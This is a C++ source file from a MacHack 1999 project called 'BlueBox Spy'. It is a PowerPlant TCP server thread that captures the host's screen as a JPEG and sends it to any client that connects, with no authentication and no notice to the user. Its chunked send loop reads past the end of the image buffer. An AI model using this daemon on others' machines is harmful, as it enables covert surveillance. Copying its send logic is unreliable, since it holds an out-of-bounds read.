home *** CD-ROM | disk | FTP | other *** search
/ MacHack 1999 / MacHack 1999.toast / The Hacks / BlueBox Spy / Blue Box Daemon / source / CTCPResponderThread.cp < prev    next >
Encoding:
Text File  |  1999-06-26  |  3.9 KB  |  165 lines  |  [TEXT/CWIE]

  1. // ===========================================================================
  2. //    CTCPResponderThread.cp        ©1995-1998 Metrowerks Inc. All rights reserved.
  3. // ===========================================================================
  4. //    This is the threaded version of the responder process.
  5.  
  6. #include "CTCPResponderThread.h"
  7. #include "CTCPResponder.h"
  8.  
  9.  
  10. //ej
  11. #include "ScreenGrabber.h"
  12.  
  13. #include <cstring>
  14.  
  15. #define kServerClosingMessage "Server closing down... Goodbye"
  16.  
  17.  
  18. // ---------------------------------------------------------------------------
  19. //        • CTCPResponderThread
  20. // ---------------------------------------------------------------------------
  21. //    Constructor
  22.  
  23. CTCPResponderThread::CTCPResponderThread(
  24.     PP_PowerPlant::LTCPEndpoint*    inNetworkEndpoint,
  25.     CTerminalPane*                    inTerminalPane,
  26.     CTCPResponder*                    inResponderMaster,
  27.     CSimpleTCPServer*                inMasterServer)
  28.         : LThread(    false,
  29.                     PP_PowerPlant::thread_DefaultStack,
  30.                     PP_PowerPlant::LThread::threadOption_Default,
  31.                     nil),
  32.           mEndpoint(inNetworkEndpoint),
  33.           mTerminalPane(inTerminalPane),
  34.           mResponderMaster(inResponderMaster),
  35.           mMasterServer(inMasterServer)
  36. {
  37.     mContinue = true;
  38.     mInDisconnect = false;
  39.     mEndpoint->AddListener(this);
  40. }
  41.  
  42. // ---------------------------------------------------------------------------
  43. //        • ~CTCPResponderThread
  44. // ---------------------------------------------------------------------------
  45. //    Destructor
  46.  
  47. CTCPResponderThread::~CTCPResponderThread()
  48. {
  49. }
  50.  
  51.  
  52. // ---------------------------------------------------------------------------
  53. //        • ListenToMessage
  54. // ---------------------------------------------------------------------------
  55. void
  56. CTCPResponderThread::ListenToMessage(
  57.                             PP_PowerPlant::MessageT    inMessage,
  58.                             void                    *ioParam)
  59. {
  60. #pragma unused (ioParam)
  61.  
  62.     switch (inMessage) {
  63.         case T_DISCONNECT:
  64.             mContinue = false;
  65.             break;
  66.             
  67.         case T_ORDREL:
  68.             mContinue = false;
  69.             if (mInDisconnect) {
  70.                 this->Resume();
  71.             }
  72.             mInDisconnect = true;    //if not in a disconnect sequence we are now
  73.             break;
  74.     }
  75. }
  76.  
  77. // ---------------------------------------------------------------------------
  78. //        • StartDisconnect
  79. // ---------------------------------------------------------------------------
  80.  
  81. void
  82. CTCPResponderThread::StartDisconnect()
  83. {
  84.     if (mContinue) {
  85.         mContinue = false;
  86.         mEndpoint->AbortThreadOperation(this);
  87.     }
  88. }
  89.  
  90. // ---------------------------------------------------------------------------
  91. //        • Run
  92. // ---------------------------------------------------------------------------
  93.  
  94. void*
  95. CTCPResponderThread::Run()
  96. {
  97.  
  98.         Handle h = nil;
  99.         
  100.         try {
  101.         //    The endpoint is automagically bound to the port on which incomming connection
  102.         //    was recieved via the 'AcceptIncoming' event.
  103.  
  104.         mMasterServer->GetEndPoint()->AcceptIncoming(mEndpoint);
  105.         mMasterServer->AddToConnectionCount(1);
  106.  
  107.         mResponderMaster->BindCompleted();
  108.  
  109.         //ej
  110.         SInt16 screen_depth = 16;
  111.         OSErr    result = noErr;
  112.  
  113.         //ej
  114.         result = GetScreenJPEG(h, screen_depth);
  115.         if (result == noErr )
  116.         {
  117.  
  118.             HLockHi(h);
  119.  
  120.             SInt32    i;
  121.             char    *ptr = *h;
  122.             SInt32    length = GetHandleSize(h);
  123.             
  124.             for(i=0; i<length; i+= 4096)
  125.             {
  126.                 mEndpoint->SendData(ptr, 4096 );
  127.                 ptr += 4096;
  128.             }
  129.  
  130.             mEndpoint->SendData(ptr, length - (i - 4096) );
  131.  
  132.             HUnlock(h);
  133.         }
  134.     }
  135.     catch(...) {
  136.     }
  137.  
  138.     if ( h != nil) {
  139.         DisposeHandle(h);
  140.     }
  141.  
  142.     // We're done with this connection… disconnect as appropriate.
  143.     try {
  144.         if (!mInDisconnect) {            //We must be initiating disconnect
  145.             //Tell remote machine we are closing
  146.             mEndpoint->Send(kServerClosingMessage, strlen(kServerClosingMessage));
  147.             mInDisconnect = true;
  148.             mEndpoint->SendDisconnect();
  149.             Suspend();                    //wait for T_ORDREL message
  150.             //    NOTE: You could continue to read data from the remote connection
  151.             //    at this point (instead of Suspending the thread) if you care about 
  152.             //    receiving all it's data.
  153.         } else {
  154.             mEndpoint->Disconnect();
  155.         }
  156.         mEndpoint->Unbind();
  157.     }
  158.     catch(...) {
  159.     }
  160.  
  161.     mMasterServer->AddToConnectionCount(-1);
  162.     mResponderMaster->ServerThreadDied();
  163.     return nil;
  164. }
  165.